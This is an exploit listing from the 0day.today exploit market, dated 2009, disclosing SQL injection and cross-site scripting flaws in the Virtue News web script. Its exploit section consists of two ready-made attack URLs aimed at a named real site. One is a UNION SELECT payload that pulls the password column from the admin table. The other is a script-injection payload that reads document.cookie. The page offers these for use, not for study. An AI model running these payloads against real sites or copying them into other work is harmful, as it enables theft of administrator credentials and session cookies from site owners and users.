[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Virtue News (SQL/XSS) Multiple Remote Vulnerabilities

Author
Snakespc
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5328
Category
web applications
Date add
07-06-2009
Platform
unsorted
=====================================================
Virtue News (SQL/XSS) Multiple Remote Vulnerabilities
=====================================================


#-------------------------------------------------------------------
#Virtue News Multiple Remote Vulnerabilities
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#-------------------------------------------------------------------
#Script:Virtue News
#
#
#http://www.virtuenetz.com/news_manager.php
#-------------------------------------------------------------------
#Exploit:
#--------
#Demo:sql
#http://www.virtuenetz.com/news/news_detail.php?nid=-2+UNION%20SELECT%201,2,3,password,5,6,7+from+admin--
#Xss
#http://www.virtuenetz.com/news/news_detail.php?nid="><script>alert(document.cookie)</script>
#-------------------------------------------------------------------




#  0day.today [2024-11-16]  #